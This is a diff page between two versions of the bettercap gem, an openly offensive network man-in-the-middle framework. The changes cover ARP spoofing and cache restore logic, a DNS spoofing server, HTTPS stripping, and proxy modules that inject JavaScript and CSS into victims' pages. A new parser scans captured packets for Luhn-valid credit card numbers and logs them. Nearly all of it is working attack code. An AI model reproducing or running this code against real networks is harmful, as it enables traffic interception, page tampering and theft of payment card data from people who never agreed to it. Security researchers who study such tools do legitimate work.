bettercap 1.4.4 → 1.4.5
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/lib/bettercap/context.rb +2 -37
- data/lib/bettercap/discovery/thread.rb +2 -2
- data/lib/bettercap/network/packet_queue.rb +1 -1
- data/lib/bettercap/network/servers/dnsd.rb +30 -45
- data/lib/bettercap/network/target.rb +7 -7
- data/lib/bettercap/options.rb +2 -2
- data/lib/bettercap/proxy/modules/injectcss.rb +1 -1
- data/lib/bettercap/proxy/modules/injectjs.rb +1 -1
- data/lib/bettercap/proxy/proxy.rb +3 -4
- data/lib/bettercap/proxy/ssl/server.rb +1 -1
- data/lib/bettercap/proxy/sslstrip/strip.rb +2 -2
- data/lib/bettercap/proxy/stream_logger.rb +3 -2
- data/lib/bettercap/proxy/streamer.rb +37 -6
- data/lib/bettercap/sniffer/parsers/creditcard.rb +62 -0
- data/lib/bettercap/spoofers/arp.rb +9 -7
- data/lib/bettercap/update_checker.rb +1 -1
- data/lib/bettercap/version.rb +1 -1
- metadata +3 -2
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA1:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: 36c1b50612037538a301084dd6780fbbe25ce5c8
|
4
|
+
data.tar.gz: 24c4fea056b5f2c2a8be6520ddb1f81895d7630a
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: 1d0d3cf857d16c39ec4da7bb37a00892397050b5f2ff4f37227c7a9ba2af0f40f07cf0869064fe90a609bcd838bee85d3df1d5805f43223b8a853d5158dc17f6
|
7
|
+
data.tar.gz: 930097cd8f7103cefaa4f5e79feedbe0adbab02cccd7c4705d7c5d72a1b3146ae3e6f91be1a13e246ae258516b57117da5c05cf867d07a20279e236948a88c2b
|
data/lib/bettercap/context.rb
CHANGED
@@ -35,9 +35,6 @@ class Context
|
|
35
35
|
attr_accessor :httpd
|
36
36
|
# Instance of BetterCap::Network::Servers::DNSD class.
|
37
37
|
attr_accessor :dnsd
|
38
|
-
# Instance of Proxy::SSL::Authority class used
|
39
|
-
# for the HTTPS transparent proxy.
|
40
|
-
attr_accessor :authority
|
41
38
|
# Set to true if the program is running, to false if a shutdown was
|
42
39
|
# scheduled by the user which pressed CTRL+C
|
43
40
|
attr_accessor :running
|
@@ -71,11 +68,9 @@ class Context
|
|
71
68
|
@gateway = nil
|
72
69
|
@gateway_mac_resolved = false
|
73
70
|
@targets = []
|
74
|
-
@proxy_processor = nil
|
75
71
|
@spoofer = nil
|
76
72
|
@httpd = nil
|
77
73
|
@dnsd = nil
|
78
|
-
@authority = nil
|
79
74
|
@proxies = []
|
80
75
|
@redirections = []
|
81
76
|
@discovery = Discovery::Thread.new self
|
@@ -213,47 +208,17 @@ class Context
|
|
213
208
|
def create_proxies!
|
214
209
|
if @options.has_proxy_module?
|
215
210
|
Proxy::Module.register_modules
|
216
|
-
|
217
211
|
raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty?
|
218
212
|
end
|
219
213
|
|
220
|
-
@proxy_processor = Proc.new do |request,response|
|
221
|
-
if Proxy::Module.modules.empty?
|
222
|
-
Logger.debug 'WARNING: No proxy module loaded, skipping request.'
|
223
|
-
else
|
224
|
-
# loop each loaded module and execute if enabled
|
225
|
-
Proxy::Module.modules.each do |mod|
|
226
|
-
if mod.enabled?
|
227
|
-
# we need to save the original response in case something
|
228
|
-
# in the module will go wrong
|
229
|
-
original = response
|
230
|
-
|
231
|
-
begin
|
232
|
-
if response.nil?
|
233
|
-
mod.on_pre_request request
|
234
|
-
else
|
235
|
-
mod.on_request request, response
|
236
|
-
end
|
237
|
-
rescue Exception => e
|
238
|
-
Logger.warn "Error with proxy module: #{e.message}"
|
239
|
-
Logger.exception e
|
240
|
-
|
241
|
-
response = original
|
242
|
-
end
|
243
|
-
end
|
244
|
-
end
|
245
|
-
end
|
246
|
-
end
|
247
|
-
|
248
214
|
# create HTTP proxy
|
249
215
|
if @options.proxy
|
250
|
-
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false
|
216
|
+
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false )
|
251
217
|
end
|
252
218
|
|
253
219
|
# create HTTPS proxy
|
254
220
|
if @options.proxy_https
|
255
|
-
@
|
256
|
-
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor )
|
221
|
+
@proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true )
|
257
222
|
end
|
258
223
|
|
259
224
|
@proxies.each do |proxy|
|
@@ -71,13 +71,13 @@ class Thread
|
|
71
71
|
if diff[:new].empty?
|
72
72
|
snew = ""
|
73
73
|
else
|
74
|
-
snew = "Acquired #{diff[:new].size} new target#{
|
74
|
+
snew = "Acquired #{diff[:new].size} new target#{diff[:new].size > 1 ? "s" : ""}"
|
75
75
|
end
|
76
76
|
|
77
77
|
if diff[:lost].empty?
|
78
78
|
slost = ""
|
79
79
|
else
|
80
|
-
slost = "#{
|
80
|
+
slost = "#{snew.empty?? 'L' : ', l'}ost #{diff[:lost].size} target#{diff[:lost].size > 1 ? "s" : ""}"
|
81
81
|
end
|
82
82
|
|
83
83
|
Logger.info "#{snew}#{slost} :"
|
@@ -30,7 +30,7 @@ class DnsWrapper < RubyDNS::RuleBasedServer
|
|
30
30
|
# Instantiate a server with a block.
|
31
31
|
def initialize(options = {}, &block)
|
32
32
|
super(options,&block)
|
33
|
-
@rules
|
33
|
+
@rules = []
|
34
34
|
@@instance = self
|
35
35
|
end
|
36
36
|
# Give a name and a record type, try to match a rule and use it for processing the given arguments.
|
@@ -48,31 +48,18 @@ class DNSD
|
|
48
48
|
def initialize( hosts_filename = nil, address = '0.0.0.0', port = 5300 )
|
49
49
|
@port = port
|
50
50
|
@address = address
|
51
|
+
@hosts = hosts_filename
|
51
52
|
@server = nil
|
52
|
-
@rules = []
|
53
|
-
@thread = nil
|
54
53
|
@ifaces = [
|
55
54
|
[:udp, address, port],
|
56
55
|
[:tcp, address, port]
|
57
56
|
]
|
58
|
-
|
59
|
-
unless hosts_filename.nil?
|
60
|
-
DNSD.parse_hosts( hosts_filename ).each do |exp,addr|
|
61
|
-
block = Proc.new do |transaction|
|
62
|
-
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
63
|
-
transaction.respond!(addr)
|
64
|
-
end
|
65
|
-
|
66
|
-
@rules << RubyDNS::RuleBasedServer::Rule.new( [ exp, Resolv::DNS::Resource::IN::A ], block )
|
67
|
-
end
|
68
|
-
|
69
|
-
Logger.warn "Empty hosts file for DNS server." if @rules.empty?
|
70
|
-
end
|
71
57
|
end
|
72
58
|
|
73
59
|
# Add a rule to the DNS resolver at runtime.
|
74
|
-
def add_rule( exp, addr )
|
60
|
+
def add_rule!( exp, addr )
|
75
61
|
Logger.debug "[#{'DNS'.green}] Adding rule: '#{exp}' -> '#{addr}' ..."
|
62
|
+
|
76
63
|
block = Proc.new do |transaction|
|
77
64
|
Logger.info "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}', sending spoofed reply #{addr.yellow} ..."
|
78
65
|
transaction.respond!(addr)
|
@@ -83,37 +70,35 @@ class DNSD
|
|
83
70
|
|
84
71
|
# Start the server.
|
85
72
|
def start
|
86
|
-
Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port}
|
87
|
-
|
88
|
-
|
89
|
-
|
90
|
-
|
91
|
-
|
92
|
-
:server_class => DnsWrapper,
|
93
|
-
:rules => @rules
|
94
|
-
}
|
95
|
-
|
96
|
-
RubyDNS::run_server( options ) do
|
97
|
-
# Suppress RubyDNS logging.
|
98
|
-
@logger.level = ::Logger::ERROR
|
99
|
-
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
|
100
|
-
|
101
|
-
# Default DNS handler
|
102
|
-
otherwise do |transaction|
|
103
|
-
Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
|
104
|
-
transaction.passthrough!(@upstream)
|
105
|
-
end
|
106
|
-
end
|
73
|
+
Logger.info "[#{'DNS'.green}] Starting on #{@address}:#{@port} ..."
|
74
|
+
|
75
|
+
options = {
|
76
|
+
:listen => @ifaces,
|
77
|
+
:asynchronous => true,
|
78
|
+
:server_class => DnsWrapper
|
107
79
|
}
|
80
|
+
|
81
|
+
RubyDNS::run_server( options ) do
|
82
|
+
# Suppress RubyDNS logging.
|
83
|
+
@logger.level = ::Logger::ERROR
|
84
|
+
@upstream ||= RubyDNS::Resolver.new([[:udp, "8.8.8.8", 53], [:tcp, "8.8.8.8", 53]])
|
85
|
+
|
86
|
+
# Default DNS handler
|
87
|
+
otherwise do |transaction|
|
88
|
+
Logger.debug "[#{transaction.options[:peer]} > #{'DNS'.green}] Received request for '#{transaction.question.to_s.yellow}' -> upstream DNS"
|
89
|
+
transaction.passthrough!(@upstream)
|
90
|
+
end
|
91
|
+
end
|
92
|
+
|
93
|
+
unless @hosts.nil?
|
94
|
+
DNSD.parse_hosts( @hosts ).each do |exp,addr|
|
95
|
+
add_rule!( exp, addr )
|
96
|
+
end
|
97
|
+
end
|
108
98
|
end
|
109
99
|
|
110
100
|
# Stop the server.
|
111
|
-
def stop
|
112
|
-
Logger.info "Stopping DNS server ..."
|
113
|
-
begin
|
114
|
-
@thread.kill
|
115
|
-
rescue; end
|
116
|
-
end
|
101
|
+
def stop; end
|
117
102
|
|
118
103
|
# Parse hosts from +filename+, example host file:
|
119
104
|
#
|
@@ -142,7 +127,7 @@ class DNSD
|
|
142
127
|
unless Network::Validator.is_ip?(address)
|
143
128
|
|
144
129
|
begin
|
145
|
-
hosts[
|
130
|
+
hosts[ expression ] = address
|
146
131
|
rescue RegexpError
|
147
132
|
raise BetterCap::Error, "Invalid expression '#{expression}' on line #{lineno + 1} of '#{filename}'."
|
148
133
|
end
|
@@ -76,13 +76,13 @@ class Target
|
|
76
76
|
|
77
77
|
# Return a verbose string representation of this object.
|
78
78
|
def to_s(padding=true)
|
79
|
-
|
80
|
-
|
81
|
-
|
82
|
-
|
83
|
-
|
79
|
+
address = @ip.nil?? '???' : @ip
|
80
|
+
fmt = padding ? '%-15s : %-17s' : '%s : %s'
|
81
|
+
vendor = @vendor.nil?? " ( ??? )" : " ( #{@vendor} )"
|
82
|
+
|
83
|
+
s = sprintf( fmt, address, @mac )
|
84
84
|
s += " / #{@hostname}" unless @hostname.nil?
|
85
|
-
s +=
|
85
|
+
s += vendor
|
86
86
|
s
|
87
87
|
end
|
88
88
|
|
@@ -111,7 +111,7 @@ class Target
|
|
111
111
|
end
|
112
112
|
|
113
113
|
def self.normalized_mac(v)
|
114
|
-
v.split(':').map { |e|
|
114
|
+
v.split(':').map { |e| e.size == 2 ? e.upcase : "0#{e.upcase}" }.join(':')
|
115
115
|
end
|
116
116
|
|
117
117
|
private
|
data/lib/bettercap/options.rb
CHANGED
@@ -452,9 +452,9 @@ class Options
|
|
452
452
|
def parse_custom_proxy!(value, https=false)
|
453
453
|
raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network::Validator.is_ip?(value)
|
454
454
|
if https
|
455
|
-
@custom_proxy = value
|
456
|
-
else
|
457
455
|
@custom_https_proxy = value
|
456
|
+
else
|
457
|
+
@custom_proxy = value
|
458
458
|
end
|
459
459
|
end
|
460
460
|
|
@@ -56,7 +56,7 @@ class InjectCSS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{
|
59
|
+
BetterCap::Logger.info "[#{'INJECTCSS'.green}] Injecting CSS #{@@cssdata.nil?? "URL" : "file"} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@cssdata.nil?
|
62
62
|
response.body.sub!( '</head>', " <link rel=\"stylesheet\" href=\"#{@cssurl}\"></script></head>" )
|
@@ -56,7 +56,7 @@ class InjectJS < BetterCap::Proxy::Module
|
|
56
56
|
def on_request( request, response )
|
57
57
|
# is it a html page?
|
58
58
|
if response.content_type =~ /^text\/html.*/
|
59
|
-
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{
|
59
|
+
BetterCap::Logger.info "[#{'INJECTJS'.green}] Injecting javascript #{@@jsdata.nil?? "URL" : "file"} into #{request.to_url}"
|
60
60
|
# inject URL
|
61
61
|
if @@jsdata.nil?
|
62
62
|
response.body.sub!( '</head>', "<script src=\"#{@@jsurl}\" type=\"text/javascript\"></script></head>" )
|
@@ -15,10 +15,9 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
# Transparent proxy class.
|
17
17
|
class Proxy
|
18
|
-
# Initialize the transparent proxy, making it listen on +address+:+port
|
19
|
-
# use the specified +processor+ routine for each request.
|
18
|
+
# Initialize the transparent proxy, making it listen on +address+:+port+.
|
20
19
|
# If +is_https+ is true a HTTPS proxy will be created, otherwise a HTTP one.
|
21
|
-
def initialize( address, port, is_https
|
20
|
+
def initialize( address, port, is_https )
|
22
21
|
@socket = nil
|
23
22
|
@address = address
|
24
23
|
@port = port
|
@@ -30,7 +29,7 @@ class Proxy
|
|
30
29
|
@main_thread = nil
|
31
30
|
@running = false
|
32
31
|
@local_ips = []
|
33
|
-
@streamer = Streamer.new(
|
32
|
+
@streamer = Streamer.new( need_sslstrip? )
|
34
33
|
|
35
34
|
begin
|
36
35
|
@local_ips = Socket.ip_address_list.collect { |x| x.ip_address }
|
@@ -26,7 +26,7 @@ class Server
|
|
26
26
|
|
27
27
|
# Create an instance from the TCPSocket +socket+.
|
28
28
|
def initialize( socket )
|
29
|
-
@authority = Context.get.
|
29
|
+
@authority = Authority.new( Context.get.options.proxy_pem_file )
|
30
30
|
@context = OpenSSL::SSL::SSLContext.new
|
31
31
|
@context.cert = @authority.certificate
|
32
32
|
@context.key = @authority.key
|
@@ -293,7 +293,7 @@ class Strip
|
|
293
293
|
rescue; end
|
294
294
|
|
295
295
|
unless links.empty?
|
296
|
-
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{
|
296
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
|
297
297
|
|
298
298
|
links.each do |l|
|
299
299
|
original, stripped = l
|
@@ -311,7 +311,7 @@ class Strip
|
|
311
311
|
original_address = IPSocket.getaddress( o.original_hostname )
|
312
312
|
@stripped << o
|
313
313
|
# make sure we're able to resolve the stripped domain
|
314
|
-
@resolver.add_rule( stripped_hostname, original_address )
|
314
|
+
@resolver.add_rule!( stripped_hostname, original_address )
|
315
315
|
rescue Exception => e
|
316
316
|
Logger.exception(e)
|
317
317
|
end
|
@@ -144,7 +144,8 @@ class StreamLogger
|
|
144
144
|
# Log a HTTP ( HTTPS if +is_https+ is true ) stream performed by the +client+
|
145
145
|
# with the +request+ and +response+ most important informations.
|
146
146
|
def self.log_http( request, response )
|
147
|
-
response_s = "
|
147
|
+
response_s = ""
|
148
|
+
response_s += " ( #{response.content_type} )" unless response.content_type.nil?
|
148
149
|
request_s = request.to_url( request.post?? nil : @@MAX_REQ_SIZE )
|
149
150
|
code = response.code.to_s[0]
|
150
151
|
|
@@ -154,7 +155,7 @@ class StreamLogger
|
|
154
155
|
response_s += " [#{response.code}]"
|
155
156
|
end
|
156
157
|
|
157
|
-
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}
|
158
|
+
Logger.raw "[#{self.addr2s(request.client)}] #{request.method.light_blue} #{request_s}#{response_s}"
|
158
159
|
# Log post body if the POST sniffer is enabled.
|
159
160
|
if Context.get.post_sniffer_enabled?
|
160
161
|
self.log_post( request )
|
@@ -15,9 +15,8 @@ module BetterCap
|
|
15
15
|
module Proxy
|
16
16
|
# Handle data streaming between clients and servers for the BetterCap::Proxy::Proxy.
|
17
17
|
class Streamer
|
18
|
-
# Initialize the class
|
19
|
-
def initialize(
|
20
|
-
@processor = processor
|
18
|
+
# Initialize the class.
|
19
|
+
def initialize( sslstrip )
|
21
20
|
@ctx = Context.get
|
22
21
|
@sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
|
23
22
|
end
|
@@ -55,14 +54,14 @@ class Streamer
|
|
55
54
|
|
56
55
|
if r.nil?
|
57
56
|
# call modules on_pre_request
|
58
|
-
|
57
|
+
process( request )
|
59
58
|
|
60
59
|
self.send( "do_#{request.method}", request, response )
|
61
60
|
else
|
62
61
|
response = r
|
63
62
|
end
|
64
63
|
|
65
|
-
if response.textual?
|
64
|
+
if response.textual? or request.method == 'DELETE'
|
66
65
|
StreamLogger.log_http( request, response )
|
67
66
|
else
|
68
67
|
Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
|
@@ -84,7 +83,7 @@ class Streamer
|
|
84
83
|
strip_security( response )
|
85
84
|
|
86
85
|
# call modules on_request
|
87
|
-
|
86
|
+
process( request, response )
|
88
87
|
|
89
88
|
client.write response.to_s
|
90
89
|
rescue NoMethodError => e
|
@@ -95,6 +94,31 @@ class Streamer
|
|
95
94
|
|
96
95
|
private
|
97
96
|
|
97
|
+
# Run proxy modules.
|
98
|
+
def process( request, response = nil )
|
99
|
+
# loop each loaded module and execute if enabled
|
100
|
+
BetterCap::Proxy::Module.modules.each do |mod|
|
101
|
+
if mod.enabled?
|
102
|
+
# we need to save the original response in case something
|
103
|
+
# in the module will go wrong
|
104
|
+
original = response
|
105
|
+
|
106
|
+
begin
|
107
|
+
if response.nil?
|
108
|
+
mod.on_pre_request request
|
109
|
+
else
|
110
|
+
mod.on_request request, response
|
111
|
+
end
|
112
|
+
rescue Exception => e
|
113
|
+
Logger.warn "Error with proxy module: #{e.message}"
|
114
|
+
Logger.exception e
|
115
|
+
|
116
|
+
response = original
|
117
|
+
end
|
118
|
+
end
|
119
|
+
end
|
120
|
+
end
|
121
|
+
|
98
122
|
# List of security headers to remove/patch from any response.
|
99
123
|
# Thanks to Mazin Ahmed ( @mazen160 )
|
100
124
|
SECURITY_HEADERS = {
|
@@ -163,6 +187,13 @@ class Streamer
|
|
163
187
|
end
|
164
188
|
end
|
165
189
|
|
190
|
+
# Handle a DELETE request, +req+ is the request object and +res+ the response.
|
191
|
+
def do_DELETE(req, res)
|
192
|
+
perform_proxy_request(req, res) do |http, path, header|
|
193
|
+
http.delete(path, header)
|
194
|
+
end
|
195
|
+
end
|
196
|
+
|
166
197
|
# Handle a POST request, +req+ is the request object and +res+ the response.
|
167
198
|
def do_POST(req, res)
|
168
199
|
perform_proxy_request(req, res) do |http, path, header|
|
@@ -0,0 +1,62 @@
|
|
1
|
+
=begin
|
2
|
+
|
3
|
+
BETTERCAP
|
4
|
+
|
5
|
+
Author : Simone 'evilsocket' Margaritelli
|
6
|
+
Email : evilsocket@gmail.com
|
7
|
+
Blog : http://www.evilsocket.net/
|
8
|
+
|
9
|
+
This project is released under the GPL 3 license.
|
10
|
+
|
11
|
+
=end
|
12
|
+
|
13
|
+
module BetterCap
|
14
|
+
module Parsers
|
15
|
+
# CC parser.
|
16
|
+
class CreditCard < Base
|
17
|
+
PARSERS = [
|
18
|
+
# All major cards.
|
19
|
+
/(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|6011[0-9]{12}|3(?:0[0-5]|[68][0-9])[0-9]{11}|3[47][0-9]{13})/m,
|
20
|
+
# American Express
|
21
|
+
/(3[47][0-9]{13})/m,
|
22
|
+
# Diners Club
|
23
|
+
/(3(?:0[0-5]|[68][0-9])[0-9]{11})/m,
|
24
|
+
# Discover
|
25
|
+
/(6011[0-9]{12})/m,
|
26
|
+
# MasterCard
|
27
|
+
/(5[1-5][0-9]{14})/m,
|
28
|
+
# Visa
|
29
|
+
/(4[0-9]{12}(?:[0-9]{3})?)/m
|
30
|
+
].freeze
|
31
|
+
|
32
|
+
def on_packet( pkt )
|
33
|
+
begin
|
34
|
+
payload = pkt.to_s
|
35
|
+
PARSERS.each do |expr|
|
36
|
+
matches = payload.scan( expr )
|
37
|
+
matches.each do |m|
|
38
|
+
StreamLogger.log_raw( pkt, 'CREDITCARD', m ) if luhn?(m)
|
39
|
+
end
|
40
|
+
break unless matches.empty?
|
41
|
+
end
|
42
|
+
rescue; end
|
43
|
+
end
|
44
|
+
|
45
|
+
# Validate +cc+ with Lughn algorithm.
|
46
|
+
def luhn?(cc)
|
47
|
+
digits = cc.split(//).map(&:to_i)
|
48
|
+
last = digits.pop
|
49
|
+
|
50
|
+
products = digits.reverse.map.with_index do |n,i|
|
51
|
+
i.even? ? n*2 : n*1
|
52
|
+
end.reverse
|
53
|
+
sum = products.inject(0) { |t,p| t + p.to_s.split(//).map(&:to_i).inject(:+) }
|
54
|
+
checksum = 10 - (sum % 10)
|
55
|
+
checksum == 10 ? 0 : checksum
|
56
|
+
|
57
|
+
( last == checksum )
|
58
|
+
end
|
59
|
+
|
60
|
+
end
|
61
|
+
end
|
62
|
+
end
|
@@ -67,8 +67,6 @@ class Arp < Base
|
|
67
67
|
raise 'ARP spoofer is not running' unless @running
|
68
68
|
|
69
69
|
Logger.debug 'Stopping ARP spoofer ...'
|
70
|
-
Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
|
71
|
-
@ctx.firewall.enable_forwarding( @forwarding )
|
72
70
|
|
73
71
|
@running = false
|
74
72
|
begin
|
@@ -81,11 +79,15 @@ class Arp < Base
|
|
81
79
|
@ctx.targets.each do |target|
|
82
80
|
unless target.ip.nil? or target.mac.nil?
|
83
81
|
5.times do
|
84
|
-
spoof(target)
|
82
|
+
spoof(target, true)
|
85
83
|
sleep 0.3
|
86
84
|
end
|
87
85
|
end
|
88
86
|
end
|
87
|
+
|
88
|
+
Logger.debug "Resetting packet forwarding to #{@forwarding} ..."
|
89
|
+
|
90
|
+
@ctx.firewall.enable_forwarding( @forwarding )
|
89
91
|
end
|
90
92
|
|
91
93
|
private
|
@@ -94,11 +96,11 @@ class Arp < Base
|
|
94
96
|
# restore its ARP cache instead.
|
95
97
|
def spoof( target, restore = false )
|
96
98
|
if restore
|
99
|
+
send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, 'ff:ff:ff:ff:ff:ff' )
|
100
|
+
send_spoofed_packet( target.ip, target.mac, @gateway.ip, 'ff:ff:ff:ff:ff:ff' ) unless @ctx.options.half_duplex
|
101
|
+
else
|
97
102
|
send_spoofed_packet( @gateway.ip, @ctx.ifconfig[:eth_saddr], target.ip, target.mac )
|
98
103
|
send_spoofed_packet( target.ip, @ctx.ifconfig[:eth_saddr], @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
|
99
|
-
else
|
100
|
-
send_spoofed_packet( @gateway.ip, @gateway.mac, target.ip, target.mac )
|
101
|
-
send_spoofed_packet( target.ip, target.mac, @gateway.ip, @gateway.mac ) unless @ctx.options.half_duplex
|
102
104
|
end
|
103
105
|
end
|
104
106
|
|
@@ -106,7 +108,7 @@ class Arp < Base
|
|
106
108
|
def arp_spoofer
|
107
109
|
spoof_loop(1) { |target|
|
108
110
|
unless target.ip.nil? or target.mac.nil?
|
109
|
-
spoof(target
|
111
|
+
spoof(target)
|
110
112
|
end
|
111
113
|
}
|
112
114
|
end
|
data/lib/bettercap/version.rb
CHANGED
@@ -12,7 +12,7 @@ This project is released under the GPL 3 license.
|
|
12
12
|
=end
|
13
13
|
module BetterCap
|
14
14
|
# Current version of bettercap.
|
15
|
-
VERSION = '1.4.
|
15
|
+
VERSION = '1.4.5'
|
16
16
|
# Program banner.
|
17
17
|
BANNER = File.read( File.dirname(__FILE__) + '/banner' ).gsub( '#VERSION#', "v#{VERSION}")
|
18
18
|
end
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: bettercap
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 1.4.
|
4
|
+
version: 1.4.5
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Simone Margaritelli
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-02-
|
11
|
+
date: 2016-02-29 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: colorize
|
@@ -171,6 +171,7 @@ files:
|
|
171
171
|
- lib/bettercap/shell.rb
|
172
172
|
- lib/bettercap/sniffer/parsers/base.rb
|
173
173
|
- lib/bettercap/sniffer/parsers/cookie.rb
|
174
|
+
- lib/bettercap/sniffer/parsers/creditcard.rb
|
174
175
|
- lib/bettercap/sniffer/parsers/custom.rb
|
175
176
|
- lib/bettercap/sniffer/parsers/dhcp.rb
|
176
177
|
- lib/bettercap/sniffer/parsers/dict.rb
|